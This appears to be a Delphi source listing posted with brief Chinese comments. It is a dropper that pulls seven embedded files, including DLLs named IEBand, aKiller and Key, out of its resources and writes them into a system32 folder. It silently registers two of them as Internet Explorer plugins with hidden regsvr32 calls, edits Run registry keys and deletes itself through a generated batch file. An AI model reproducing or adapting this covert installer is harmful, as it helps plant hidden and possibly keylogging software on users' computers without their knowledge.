IEBand FILE1 IEBand.dll<br>aKiller FILE2 aKiller.dll<br>Key FILE3 Key.dll<br>ShowIEBand FILE4 ShowIEBand.dll<br>config FILE5 config.ini<br>Server FILE6 Server.ini<br>UpData FILE7 UpData.exe<br><br>资源文件上面的<br><br>底下是释放<br>program InsertIEBand;<br><br>{$APPTYPE CONSOLE}<br><br>uses<br> SysUtils,ShellApi,Windows,Classes,forms;<br><br>{$R Rec.res} <br>var<br> Res: TResourceStream;<br><br>procedure DeleteRegKeyValue(Root: DWORD; Key: string; ValueName: string = '');<br>var<br> KeyHandle: HKEY;<br>begin<br> if ValueName = '' then<br> RegDeleteKey(Root, PChar(Key));<br> if RegOpenKey(Root, PChar(Key), KeyHandle) = ERROR_SUCCESS then<br> try<br> RegDeleteValue(KeyHandle, PChar(ValueName));<br> finally<br> RegCloseKey(KeyHandle);<br> end;<br>end;<br><br>function CreateDelBat(BatName,ExeName: String):String;<br>var<br> stBat : TStrings;<br>begin<br> Result := '';<br> stBat := TStringList.Create;<br> try<br> StBat.Add('echo off');<br> StBat.Add(':1');<br> StBat.Add('Erase "' + ExeName + '"');<br> StBat.Add('If exist "exe" Goto 1');<br> StBat.Add('Erase %0');<br> StBat.SaveToFile(BatName + '.Bat');<br> Result := BatName + '.Bat';<br> finally<br> stBat.Free;<br> end;<br>end; <br><br><br>begin<br><br> { TODO -oUser -cConsole Main : Insert code here }<br> if DirectoryExists('C:/WINNT/system32/IEBand')=false then<br> if ForceDirectories('C:/WINNT/system32/IEBand')=false then Exit;<br><br> CreateDelBat('clear',application.Exename);<br><br> //卸载原来的插件<br> if FileExists('C:/WINNT/system32/IEBand/IEBand.dll') then<br> WinExec(PAnsiChar('regsvr32 /u /s C:/WINNT/system32/IEBand/IEBand.dll'), SW_HIDE);<br> if FileExists('C:/WINNT/system32/IEBand/ShowIEBand.dll') then<br> WinExec(PAnsiChar('regsvr32 /u /s C:/WINNT/system32/IEBand/ShowIEBand.dll'), SW_HIDE);<br> if FileExists('C:/WINNT/system32/IEBand/aKiller.dll') then<br> WinExec(PAnsiChar('regsvr32 /u /s C:/WINNT/system32/IEBand/aKiller.dll'), SW_HIDE);<br><br> res:=Tresourcestream.Create(HInstance,'IEBand','FILE1');<br> try<br> try<br> Res.SaveToFile('C:/WINNT/system32/IEBand/IEBand.dll'); //将资源保存为文件,即还原文件<br> finally<br> freeandnil(Res);<br> end;<br> except<br> end;<br><br> try<br> res:=Tresourcestream.Create(HInstance,'aKiller','FILE2');<br> try<br> Res.SaveToFile('C:/WINNT/system32/IEBand/aKiller.dll'); //将资源保存为文件,即还原文件<br> finally<br> freeandnil(Res);<br> end;<br> except<br> end;<br><br> try<br> res:=Tresourcestream.Create(HInstance,'Key','FILE3');<br> try<br> Res.SaveToFile('C:/WINNT/system32/IEBand/Key.dll'); //将资源保存为文件,即还原文件<br> finally<br> freeandnil(Res);<br> end;<br> except<br> end;<br><br> try<br> res:=Tresourcestream.Create(HInstance,'ShowIEBand','FILE4');<br> try<br> Res.SaveToFile('C:/WINNT/system32/IEBand/ShowIEBand.dll'); //将资源保存为文件,即还原文件<br> finally<br> freeandnil(Res);<br> end;<br> except<br> end;<br><br> try<br> res:=Tresourcestream.Create(HInstance,'config','FILE5');<br> try<br> Res.SaveToFile('C:/WINNT/system32/IEBand/config.ini'); //将资源保存为文件,即还原文件<br> finally<br> freeandnil(Res);<br> end;<br> except<br> end;<br><br> try<br> res:=Tresourcestream.Create(HInstance,'Server','FILE6');<br> try<br> Res.SaveToFile('C:/WINNT/system32/IEBand/Server.ini'); //将资源保存为文件,即还原文件<br> finally<br> freeandnil(Res);<br> end;<br> except<br> end;<br><br> try<br> res:=Tresourcestream.Create(HInstance,'UpData','FILE7');<br> try<br> Res.SaveToFile('C:/WINNT/system32/IEBand/UpData.exe'); //将资源保存为文件,即还原文件<br> finally<br> freeandnil(Res);<br> end;<br> except<br> end;<br><br> WinExec(PAnsiChar('regsvr32 /s C:/WINNT/system32/IEBand/IEBand.dll'), SW_HIDE);<br> WinExec(PAnsiChar('regsvr32 /s C:/WINNT/system32/IEBand/ShowIEBand.dll'), SW_HIDE);<br><br> //删除注册信息<br> DeleteRegKeyValue(HKEY_LOCAL_MACHINE,<br> 'Software/Microsoft/windows/currentversion/run', 'IEBandUpData');<br> DeleteRegKeyValue(HKEY_CURRENT_USER,<br> 'Software/Microsoft/windows/currentversion/run', 'IEBandUpData');<br><br> ShellExecute(0, 'open', 'clear.bat', '', '', 0)<br><br> <br>end.